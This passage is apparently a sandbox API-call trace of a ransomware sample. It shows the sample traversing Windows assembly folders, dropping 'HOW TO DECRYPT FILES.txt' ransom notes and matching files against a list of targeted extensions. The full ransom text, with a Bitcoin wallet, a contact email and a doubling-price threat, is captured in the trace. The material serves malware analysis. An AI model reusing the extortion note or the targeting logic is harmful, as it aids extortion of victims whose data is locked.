ftCreationTime.dwLowDateTime=0xe2c51cea, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe2c51cea, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe2c51cea, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.110] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.110] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.110] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2c51cea, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe2c51cea, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe2c51cea, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="71e40c479d779f2bf55bb925834e3cd3", cAlternateFileName="71E40C~1")) returned 1 [0108.110] lstrcmpA (lpString1=".", lpString2="71e40c479d779f2bf55bb925834e3cd3") returned -1 [0108.111] lstrcmpA (lpString1="..", lpString2="71e40c479d779f2bf55bb925834e3cd3") returned -1 [0108.111] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.JScript\\*.*") returned="*.*" [0108.111] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.JScript\\", lpString2="71e40c479d779f2bf55bb925834e3cd3" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.JScript\\71e40c479d779f2bf55bb925834e3cd3") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.JScript\\71e40c479d779f2bf55bb925834e3cd3" [0108.111] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.JScript\\71e40c479d779f2bf55bb925834e3cd3\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2c51cea, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe2c51cea, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe2c51cea, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0108.111] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.111] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2c51cea, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe2c51cea, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe2c51cea, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.111] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.111] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.111] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2b6d4a9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe2b6d4a9, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe2b93609, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x310800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.JScript.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0108.111] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0108.112] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.JScript.ni.dll") returned -1 [0108.112] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.JScript.ni.dll") returned -1 [0108.112] lstrcmpiA (lpString1="", lpString2="Microsoft.JScript.ni.dll") returned -1 [0108.112] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.JScript\\71e40c479d779f2bf55bb925834e3cd3\\*.*") returned="*.*" [0108.112] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.JScript\\71e40c479d779f2bf55bb925834e3cd3\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.JScript\\71e40c479d779f2bf55bb925834e3cd3\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.JScript\\71e40c479d779f2bf55bb925834e3cd3\\" [0108.112] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.JScript\\71e40c479d779f2bf55bb925834e3cd3\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.JScript\\71e40c479d779f2bf55bb925834e3cd3\\") returned="" [0108.112] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.JScript\\71e40c479d779f2bf55bb925834e3cd3\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.JScript\\71e40c479d779f2bf55bb925834e3cd3\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.JScript\\71e40c479d779f2bf55bb925834e3cd3\\HOW TO DECRYPT FILES.txt" [0108.112] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.JScript\\71e40c479d779f2bf55bb925834e3cd3\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.jscript\\71e40c479d779f2bf55bb925834e3cd3\\how to decrypt files.txt")) returned 0xffffffff [0108.112] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.JScript\\71e40c479d779f2bf55bb925834e3cd3\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.jscript\\71e40c479d779f2bf55bb925834e3cd3\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0108.115] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0108.115] CloseHandle (hObject=0x90) returned 1 [0108.115] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.JScript\\71e40c479d779f2bf55bb925834e3cd3\\", lpString2="Microsoft.JScript.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.JScript\\71e40c479d779f2bf55bb925834e3cd3\\Microsoft.JScript.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.JScript\\71e40c479d779f2bf55bb925834e3cd3\\Microsoft.JScript.ni.dll" [0108.115] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.JScript\\71e40c479d779f2bf55bb925834e3cd3\\Microsoft.JScript.ni.dll", pszSpec="*.ems") returned 0 [0108.115] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2b6d4a9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe2b6d4a9, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe2b93609, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x310800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.JScript.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0108.115] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0108.115] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2c51cea, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe2c51cea, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe2c51cea, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="71e40c479d779f2bf55bb925834e3cd3", cAlternateFileName="71E40C~1")) returned 0 [0108.116] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0108.116] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8cfbb25, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd8cfbb25, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd8cfbb25, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69004d, dwReserved1=0x720063, cFileName="Microsoft.Managemen#", cAlternateFileName="MICROS~1.MAN")) returned 1 [0108.116] lstrcmpA (lpString1=".", lpString2="Microsoft.Managemen#") returned -1 [0108.116] lstrcmpA (lpString1="..", lpString2="Microsoft.Managemen#") returned -1 [0108.116] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0108.116] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="Microsoft.Managemen#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#" [0108.116] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8cfbb25, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd8cfbb25, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd8cfbb25, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0108.116] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.116] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8cfbb25, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd8cfbb25, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd8cfbb25, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.116] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.116] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.116] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8cfbb25, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd8cfbb25, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd8cfbb25, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="e72886c96b63be364c0205b6c4ff4413", cAlternateFileName="E72886~1")) returned 1 [0108.117] lstrcmpA (lpString1=".", lpString2="e72886c96b63be364c0205b6c4ff4413") returned -1 [0108.117] lstrcmpA (lpString1="..", lpString2="e72886c96b63be364c0205b6c4ff4413") returned -1 [0108.117] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\*.*") returned="*.*" [0108.117] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\", lpString2="e72886c96b63be364c0205b6c4ff4413" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413" [0108.117] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8cfbb25, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd8cfbb25, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd8cfbb25, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0108.120] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.120] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8cfbb25, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd8cfbb25, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd8cfbb25, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.120] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.120] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.120] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8c89704, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd8c89704, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd8caf864, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xc3000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.ManagementConsole.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0108.120] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0108.120] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.ManagementConsole.ni.dll") returned -1 [0108.120] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.ManagementConsole.ni.dll") returned -1 [0108.120] lstrcmpiA (lpString1="", lpString2="Microsoft.ManagementConsole.ni.dll") returned -1 [0108.120] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\*.*") returned="*.*" [0108.121] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\" [0108.121] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\") returned="" [0108.121] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\HOW TO DECRYPT FILES.txt" [0108.121] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.managemen#\\e72886c96b63be364c0205b6c4ff4413\\how to decrypt files.txt")) returned 0xffffffff [0108.121] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.managemen#\\e72886c96b63be364c0205b6c4ff4413\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0108.122] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0108.122] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0108.124] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0108.124] CloseHandle (hObject=0x90) returned 1 [0108.124] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\", lpString2="Microsoft.ManagementConsole.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll" [0108.124] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.ems") returned 0 [0108.124] lstrlenA (lpString="*.ems") returned 5 [0108.124] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.db") returned 0 [0108.125] lstrlenA (lpString="*.db") returned 4 [0108.125] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.dbf") returned 0 [0108.125] lstrlenA (lpString="*.dbf") returned 5 [0108.125] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.myox") returned 0 [0108.125] lstrlenA (lpString="*.myox") returned 6 [0108.125] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.myo") returned 0 [0108.125] lstrlenA (lpString="*.myo") returned 5 [0108.125] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.qbw") returned 0 [0108.125] lstrlenA (lpString="*.qbw") returned 5 [0108.125] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.qbb") returned 0 [0108.125] lstrlenA (lpString="*.qbb") returned 5 [0108.125] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.qbm") returned 0 [0108.125] lstrlenA (lpString="*.qbm") returned 5 [0108.125] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.qbo") returned 0 [0108.125] lstrlenA (lpString="*.qbo") returned 5 [0108.125] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.qbx") returned 0 [0108.125] lstrlenA (lpString="*.qbx") returned 5 [0108.125] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.qba") returned 0 [0108.125] lstrlenA (lpString="*.qba") returned 5 [0108.126] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.qby") returned 0 [0108.126] lstrlenA (lpString="*.qby") returned 5 [0108.126] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.qbj") returned 0 [0108.126] lstrlenA (lpString="*.qbj") returned 5 [0108.126] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.ofx") returned 0 [0108.126] lstrlenA (lpString="*.ofx") returned 5 [0108.126] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.qif") returned 0 [0108.126] lstrlenA (lpString="*.qif") returned 5 [0108.126] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.mye") returned 0 [0108.126] lstrlenA (lpString="*.mye") returned 5 [0108.126] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.mbox") returned 0 [0108.126] lstrlenA (lpString="*.mbox") returned 6 [0108.126] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.eml") returned 0 [0108.126] lstrlenA (lpString="*.eml") returned 5 [0108.126] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.pst") returned 0 [0108.126] lstrlenA (lpString="*.pst") returned 5 [0108.126] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.ost") returned 0 [0108.126] lstrlenA (lpString="*.ost") returned 5 [0108.126] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.idx") returned 0 [0108.126] lstrlenA (lpString="*.idx") returned 5 [0108.127] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.dbx") returned 0 [0108.127] lstrlenA (lpString="*.dbx") returned 5 [0108.127] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.sql") returned 0 [0108.127] lstrlenA (lpString="*.sql") returned 5 [0108.127] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.mdb") returned 0 [0108.127] lstrlenA (lpString="*.mdb") returned 5 [0108.127] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.fdb") returned 0 [0108.127] lstrlenA (lpString="*.fdb") returned 5 [0108.127] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.wab") returned 0 [0108.127] lstrlenA (lpString="*.wab") returned 5 [0108.127] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.dat") returned 0 [0108.127] lstrlenA (lpString="*.dat") returned 5 [0108.127] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.txt") returned 0 